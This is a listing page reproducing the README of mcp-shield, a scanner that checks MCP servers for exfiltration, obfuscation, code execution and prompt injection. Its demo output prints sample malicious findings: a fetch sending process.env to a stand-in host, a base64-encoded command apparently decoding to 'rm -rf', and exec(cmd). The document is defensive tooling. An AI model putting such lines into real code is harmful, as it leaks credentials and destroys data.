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MCP Shield

Community Developer tools

Pre-install security scanner for MCP servers: detects backdoors, exfiltration code, obfuscation, dangerous execution, prompt injection and supply chain risks.

Source code Documentation

Install

The installation steps are in the documentation below. Documentation

Documentation

From the project's README on GitHub, refreshed weekly. Links open on GitHub.

Contents
  1. mcp-shield
  2. What it detects
  3. Demo
  4. Tools
  5. Installation
  6. Usage examples
  7. How it works
  8. Contributing
  9. License

mcp-shield

A security scanner for MCP servers — detect backdoors, exfiltration, prompt injection, and supply chain risks before they reach your AI.

The MCP ecosystem is growing fast. Not every server on npm is safe. mcp-shield lets Claude audit any MCP server — local or from npm — before you trust it with your files, keys, and context.

What it detects

CategoryExamples
Exfiltrationprocess.env sent over network, SSH key access, AWS credential reads
Code executioneval(), new Function(), child_process.exec(), dynamic require()
ObfuscationBase64 runtime decoding, hex-encoded payloads, char-code arrays
Sensitive file access.env, id_rsa, browser cookies, ~/.gitconfig
Prompt injectionHidden instructions, zero-width characters, role-switch attacks, jailbreak patterns
Supply chainPackage age, download count, maintainer count, CVEs in dependencies

Demo

You: Scan the npm package "some-sketchy-mcp-server" before I install it

Claude (using scan_package):
  ## mcp-shield scan: some-sketchy-mcp-server
  Verdict: DANGEROUS | Findings: 2 critical, 1 high

  ### Code Findings

  #### index.js
  - [CRITICAL] [EXF004] process.env sent over network — possible credential exfiltration (line 47)
    fetch("https://collect.example.com/data", { body: JSON.stringify(process.env) })

  - [CRITICAL] [OBF001] Base64 decode at runtime — decoded content not inspectable (line 12)
    const cmd = Buffer.from("cm0gLXJm...", "base64").toString()

  - [HIGH]     [EXEC004] child_process exec/spawn — shell command execution (line 13)
    exec(cmd)

  ### Supply Chain
  | Published     | 2 days ago       |
  | Downloads/wk  | 3                |
  | Trust Score   | 15/100 — RISKY   |
  Flags:
  - Package published less than 7 days ago
  - Very low weekly downloads (<100)

Tools

ToolWhat it does
scan_packageDownload an npm MCP package and scan it for malicious patterns
scan_directoryScan a local MCP server directory (cloned from GitHub, etc.)
check_prompt_injectionCheck tool descriptions or responses for hidden injections
audit_supply_chainGet trust score, CVEs, maintainer count, and age for any npm package

Installation

Option 1 — npx (no install)
claude mcp add mcp-shield -- npx mcp-shield
Option 2 — global install
npm install -g mcp-shield
claude mcp add mcp-shield -- mcp-shield
Option 3 — manual config

Add to ~/.claude/claude_mcp_config.json:

{
  "mcpServers": {
    "mcp-shield": {
      "command": "npx",
      "args": ["mcp-shield"]
    }
  }
}

Usage examples

"Scan the npm package 'xyz-mcp-server' before I install it"
"Scan the MCP server I cloned at ~/projects/some-mcp"
"Check this tool description for prompt injection: <paste text>"
"What's the trust score for 'popular-mcp-tool' on npm?"
"Audit all the MCP servers I have installed"

How it works

Static analysis — scans JavaScript/TypeScript source files with a library of regex patterns covering 20+ attack signatures across 5 categories.

Supply chain audit — queries the npm registry for package metadata, then runs npm audit to surface known CVEs in the dependency tree.

Prompt injection detection — checks tool descriptions and responses for zero-width characters, instruction overrides, role-switch attacks, and other LLM-targeting techniques.

--ignore-scripts installation — when scanning npm packages, installs with --ignore-scripts so no malicious postinstall hooks run during analysis.

Contributing

PRs welcome. Detection patterns live in src/patterns.ts — adding new signatures is a single object.

git clone https://github.com/muhannad-hash/mcp-shield
cd mcp-shield
npm install
npm run dev

License

MIT

Frequently asked questions

What is MCP Shield?

Pre-install security scanner for MCP servers: detects backdoors, exfiltration code, obfuscation, dangerous execution, prompt injection and supply chain risks.

How do I install MCP Shield?

Follow the installation steps in its documentation, shown on this page and in its repository.

Is MCP Shield open source?

Yes. Its code is on GitHub under the MIT license.

Who maintains MCP Shield?

It is published by muhannad-hash. AI.tn lists it but does not maintain or endorse it.

From the community awesome-mcp-servers lists and the project's GitHub repository. Listing is not an endorsement: review a server's code and permissions before giving it access to your data.